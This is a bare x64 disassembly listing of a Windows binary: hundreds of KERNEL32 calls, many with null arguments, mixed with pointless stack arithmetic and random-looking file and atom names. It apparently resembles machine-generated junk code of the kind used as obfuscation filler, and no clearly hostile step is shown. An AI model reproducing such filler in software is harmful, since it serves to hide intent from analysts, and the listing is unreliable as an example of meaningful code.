mov rax, qword [rsp + 0x97a8]
movzx eax, byte [rax]
mov byte [rsp + 0x29e], al
mov edx, 0x1151
mov rcx, qword [rsp + 0x9da0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49bc], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9768], rax
mov eax, dword [rsp + 0x4878]
mov ecx, dword [rsp + 0x47c4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e00]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa460], rax
mov rcx, qword [rsp + 0x96b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov qword [rsp + 0x20], 0
mov r9d, 0x2b36
mov r8d, 0x1df0
mov edx, 0x26
mov rcx, qword [rsp + 0x9798]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4888], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9588]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x465c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa2c8]
mov dword [rcx], eax
lea rax, [rsp + 0x1d3]
mov qword [rsp + 0xa468], rax
mov rcx, qword [rsp + 0x9078]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x49e0], eax
mov rax, qword [rsp + 0x8f20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x111c]
and eax, ecx
mov word [0x14022fb94], ax
mov edx, 0x1037
mov rcx, qword [rsp + 0xa430]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4930], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa158]
mov rcx, qword [rsp + 0x9e88]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa000], rax
lea rax, [rsp + 0x9af0]
mov qword [rsp + 0xa470], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rcx, qword [rsp + 0x9758]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x205]
movzx ecx, byte [rsp + 0x10d]
sub eax, ecx
mov byte [rsp + 0x26f], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x1134]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1190], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e20], rax
mov rax, qword [rsp + 0x9e28]
mov rcx, qword [rsp + 0x9fa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4908], eax
lea rdx, [rsp + 0xa078]
mov rcx, qword [rsp + 0xa068]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b88], eax
movzx ecx, word [rsp + 0xff8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf30], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rax, [rsp + 0x190]
mov qword [rsp + 0xa478], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9930]
mov rcx, qword [rsp + 0xa378]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x99b8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8b18], rax
mov rcx, qword [rsp + 0x9b30]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x11a0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1180], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov r9d, 0x24dc
xor r8d, r8d
lea rdx, [rsp + 0xa370]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4980], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa480], rax
mov rax, qword [rsp + 0xa0b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1020]
sub eax, ecx
mov word [rsp + 0x8d0], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x97a0], rax
mov dword [rsp + 0x20], 0x267f
mov r9d, 0x30d6
mov r8d, 0x24b1
mov edx, 0x3cbf
mov rcx, qword [rsp + 0x9b58]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4a9c], eax
lea rcx, str.BWMiXns_BAr0
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1204], ax
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x464c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa238]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e10]
mov eax, dword [rax]
mov ecx, dword [0x14024f38c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14024f2e0]
mov dword [rcx], eax
lea rcx, [rsp + 0x1a708]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9a38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa320]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x279], al
mov rax, qword [rsp + 0x8e08]
movzx eax, word [rax]
mov word [rsp + 0x1208], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
movzx eax, word [0x14024f318]
mov rcx, qword [rsp + 0x8e58]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1138], ax
lea rcx, [rsp + 0x8d28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x4ab8]
movzx ecx, al
mov eax, dword [rsp + 0x4928]
shl eax, cl
mov dword [rsp + 0x4200], eax
mov rax, qword [rsp + 0x9fb0]
movsx eax, word [rax]
movsx ecx, word [0x14024f3be]
or eax, ecx
mov word [rsp + 0x1130], ax
lea rax, [rsp + 0x291]
mov qword [rsp + 0xa488], rax
lea rcx, [rsp + 0x1a498]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 0x2544
xor r8d, r8d
lea rdx, [rsp + 0x9b80]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b3c], eax
lea rdx, [rsp + 0xa490]
mov rcx, qword [rsp + 0xa368]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b74], eax
mov rax, qword [rsp + 0x99c0]
mov ecx, dword [rsp + 0x4a8c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa0d8]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x10e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10b4], ax
movzx eax, byte [rsp + 0x274]
mov rcx, qword [0x14024f290]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x290], al
movzx eax, word [rsp + 0xf0c]
mov word [0x14024f23a], ax
mov rcx, qword [rsp + 0xa140]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x94f8]
mov qword [rsp + 0xa498], rax
movzx ecx, word [rsp + 0x1108]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x120c], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e20], rax
lea rdx, [rsp + 0xa4a0]
mov rcx, qword [rsp + 0x9800]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b84], eax
mov edx, 0xa97
mov rcx, qword [rsp + 0xa218]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4980], eax
mov rax, qword [rsp + 0x9548]
mov rcx, qword [rsp + 0x8918]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9d08]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9f20], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa4a8], rax
lea rax, [rsp + 0x8f60]
mov qword [rsp + 0xa4b0], rax
mov r9d, 0x9f8
xor r8d, r8d
lea rdx, [rsp + 0xa100]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49ac], eax
movzx ecx, word [rsp + 0xf30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1124], ax
lea rcx, [rsp + 0xa4b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9c48]
mov ecx, dword [rsp + 0x4774]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9cf8]
mov dword [rcx], eax
lea rcx, [rsp + 0x1fda0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4888], eax
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0x9330]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa128]
mov qword [rcx], rax
mov r9d, 1
lea r8, [rsp + 0xa090]
mov rdx, qword [rsp + 0xa4c0]
mov rcx, qword [rsp + 0x9b18]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a64], eax
lea rdx, [rsp + 0xa1c0]
mov rcx, qword [rsp + 0xa070]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a70], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
lea rdx, [rsp + 0x8d40]
mov rcx, qword [rsp + 0x9180]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x499c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.7ASIEE381lwq27I_fZAkiR
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa4c8], rax
movzx eax, word [rsp + 0x11f8]
mov word [rsp + 0x1210], ax
lea rcx, [rsp + 0xa110]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx ecx, word [rsp + 0x11a0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf6c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
movsx eax, byte [rsp + 0x295]
mov rcx, qword [rsp + 0xa1a0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x261], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa4d0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0x9d80]
mov eax, dword [rax]
mov dword [rsp + 0x4b8c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0x9858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11dc]
imul eax, ecx
mov word [0x14022fb84], ax
movzx eax, byte [rsp + 0x29d]
movzx ecx, byte [rsp + 0x289]
add eax, ecx
mov rcx, qword [rsp + 0xa058]
mov byte [rcx], al
mov rcx, qword [rsp + 0xa0f0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.lTP1wJLUWFo
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa4d8], rax
mov rax, qword [rsp + 0x9630]
mov ecx, dword [rsp + 0x46a0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa238]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x1018]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11cc], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9d68], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x10a8]
mov rcx, qword [rsp + 0xa428]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe64], ax
lea rcx, str.CW_r3_6mV
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1178], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x20], 0x18b0
mov r9d, 0x31a5
mov r8d, 0x2e4e
mov edx, 0x1bb7
mov rcx, qword [rsp + 0x9a28]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4a44], eax
mov rax, qword [rsp + 0x9640]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9d70]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x281], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
lea rax, [0x14024f3bc]
mov qword [rsp + 0xa4e0], rax
xor r9d, r9d
lea r8, [rsp + 0x9b08]
mov rdx, qword [rsp + 0xa1c0]
mov rcx, qword [rsp + 0xa068]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4b90], eax
mov rax, qword [rsp + 0x9dd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4928]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e00]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x1f5c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4b70], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x97a0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.cLQ8BlUpjIFRDAkOq3TfaHz
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa4e8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
movsx eax, byte [rsp + 0x286]
movsx ecx, byte [rsp + 0x29e]
cdq
idiv ecx
mov byte [rsp + 0x1fd], al
mov rax, qword [rsp + 0x84b8]
mov qword [rsp + 0xa4f0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
movzx eax, word [rsp + 0x10bc]
mov word [0x14024f238], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa4f8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8b18], rax
mov eax, dword [rsp + 0x4ac8]
mov ecx, dword [rsp + 0x4a8c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a0c], eax
mov rcx, qword [rsp + 0xa440]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4920], eax
movzx ecx, word [rsp + 0xf7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1214], ax
movzx ecx, word [rsp + 0x101c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1180], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
lea rcx, [rsp + 0x1a528]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0xa388]
mov rcx, qword [rsp + 0x93d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49a0], eax
mov rax, qword [0x14024f348]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9b68]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1a2], al
mov rax, qword [rsp + 0xa1c8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8410]
shl rax, cl
mov qword [rsp + 0xa378], rax
mov rax, qword [rsp + 0x9b50]
mov qword [rsp + 0xa500], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x4764]
mov rcx, qword [rsp + 0x9b70]
mov qword [rsp + 0xa508], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa508]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3dd0], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9f80], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2cca
mov r9d, 0x227c
mov r8d, 0xd7af921d
mov edx, 2
mov rcx, qword [rsp + 0x8fa0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4900], eax
mov rcx, qword [rsp + 0x9e08]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9fc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x294]
and eax, ecx
mov byte [rsp + 0x27a], al
mov rax, qword [rsp + 0x9ed0]
movzx eax, word [rax]
mov word [rsp + 0x1218], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0x9c80]
mov eax, dword [rax]
mov dword [rsp + 0x48bc], eax
lea rdx, [rsp + 0xa510]
mov rcx, qword [rsp + 0xa418]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a60], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0x9b68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x27e]
imul eax, ecx
mov byte [0x14024f250], al
lea rax, [rsp + 0x6ec]
mov qword [rsp + 0xa518], rax
movzx ecx, word [rsp + 0x1014]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1154], ax
lea rcx, [0x140231e14]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x121c], ax
mov rcx, qword [rsp + 0x9678]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rdx, [rsp + 0x8f90]
mov rcx, qword [rsp + 0x9958]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4af8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.MYkprLI02Jx9OlYtHDaFn3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa520], rax
mov rax, qword [rsp + 0x9670]
mov rcx, qword [rsp + 0xa288]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8848], rax
mov rax, qword [rsp + 0x9c18]
mov rcx, qword [rsp + 0x8848]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7b28], rax
lea rdx, [rsp + 0xa050]
mov rcx, qword [rsp + 0x8c98]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4af0], eax
mov dword [rsp + 0x20], 0xa73
mov r9d, 0x3fc
mov r8d, 0x3d35
mov edx, 0x2a76
mov rcx, qword [rsp + 0xa348]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4b94], eax
mov rax, qword [rsp + 0x98f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9d18]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa3c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
movsx eax, byte [rsp + 0x292]
movsx ecx, byte [rsp + 0x275]
add eax, ecx
mov rcx, qword [rsp + 0x9748]
mov byte [rcx], al
mov eax, dword [rsp + 0x4314]
mov dword [rsp + 0x4b98], eax
mov rcx, qword [rsp + 0x9890]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4a50], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.V5QRQTCEfNm
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa528], rax
movzx ecx, word [rsp + 0x1008]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11b0], ax
mov rax, qword [rsp + 0x98b0]
movsx eax, word [rax]
movsx ecx, word [0x14024f3be]
and eax, ecx
mov word [rsp + 0x8d0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0xa270]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10d]
sub eax, ecx
mov byte [rsp + 0x20e], al
lea rax, [rsp + 0x4970]
mov qword [0x14024f230], rax
lea rax, [rsp + 0xa210]
mov qword [rsp + 0xa530], rax
mov rax, qword [rsp + 0x95c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8850]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b08], rax
mov eax, dword [rsp + 0x40d4]
mov ecx, dword [rsp + 0x4b60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f04], eax
mov rax, qword [0x14024f290]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x277]
add eax, ecx
mov byte [rsp + 0x1a3], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
lea rcx, str.XfpCyxYakBu_O6FkUvVEL
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1220], ax
mov rax, qword [rsp + 0x9c00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4af4]
sar eax, cl
mov dword [rsp + 0x49d8], eax
lea rdx, [rsp + 0x9ce8]
mov rcx, qword [rsp + 0xa520]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49dc], eax
lea rax, [rsp + 0x153]
mov qword [rsp + 0xa538], rax
movsx eax, word [rsp + 0xf78]
movsx ecx, word [rsp + 0xf54]
or eax, ecx
mov rcx, qword [rsp + 0x9ad0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f20]
movzx eax, word [rax]
mov word [rsp + 0x1224], ax
movzx eax, byte [rsp + 0x298]
movzx ecx, byte [rsp + 0x29c]
shl eax, cl
mov rcx, qword [0x14024f2a8]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
lea rcx, str.MymJzx_uhl_NF27Z5_skIJ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1228], ax
mov r9d, 0x146b
xor r8d, r8d
lea rdx, [rsp + 0x9728]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4938], eax
mov rax, qword [0x14024f3b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9f60]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9530]
mov word [rcx], ax
lea rax, [rsp + 0x470c]
mov qword [rsp + 0xa540], rax
mov edx, 0xb6a
mov rcx, qword [rsp + 0x8ce0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x497c], eax
mov rax, qword [rsp + 0xa530]
mov rcx, qword [rsp + 0x9f78]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x96a0], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa548], rax
mov rax, qword [rsp + 0x9e88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa3a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d38]
mov qword [rcx], rax
lea rcx, [rsp + 0x9ea0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x8d0]
mov qword [rsp + 0xa550], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
movsx eax, byte [rsp + 0x275]
mov rcx, qword [rsp + 0x97d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x127], al
mov rax, qword [rsp + 0xa248]
mov eax, dword [rax]
mov dword [rsp + 0x4b9c], eax
mov rax, qword [rsp + 0x9f60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9858]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9820]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
movzx eax, byte [rsp + 0x1a3]
mov rcx, qword [rsp + 0x8f18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14022103b], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rcx, qword [rsp + 0xa1a8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa160]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9be0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d98]
mov ecx, dword [rsp + 0x484c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4550], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa558], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rcx, qword [rsp + 0xa010]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4910], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0xa438]
mov rcx, qword [rsp + 0xa3a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa210], rax
movzx eax, byte [rsp + 0x277]
mov byte [rsp + 0x29f], al
mov rax, qword [rsp + 0x9d10]
movsx eax, word [rax]
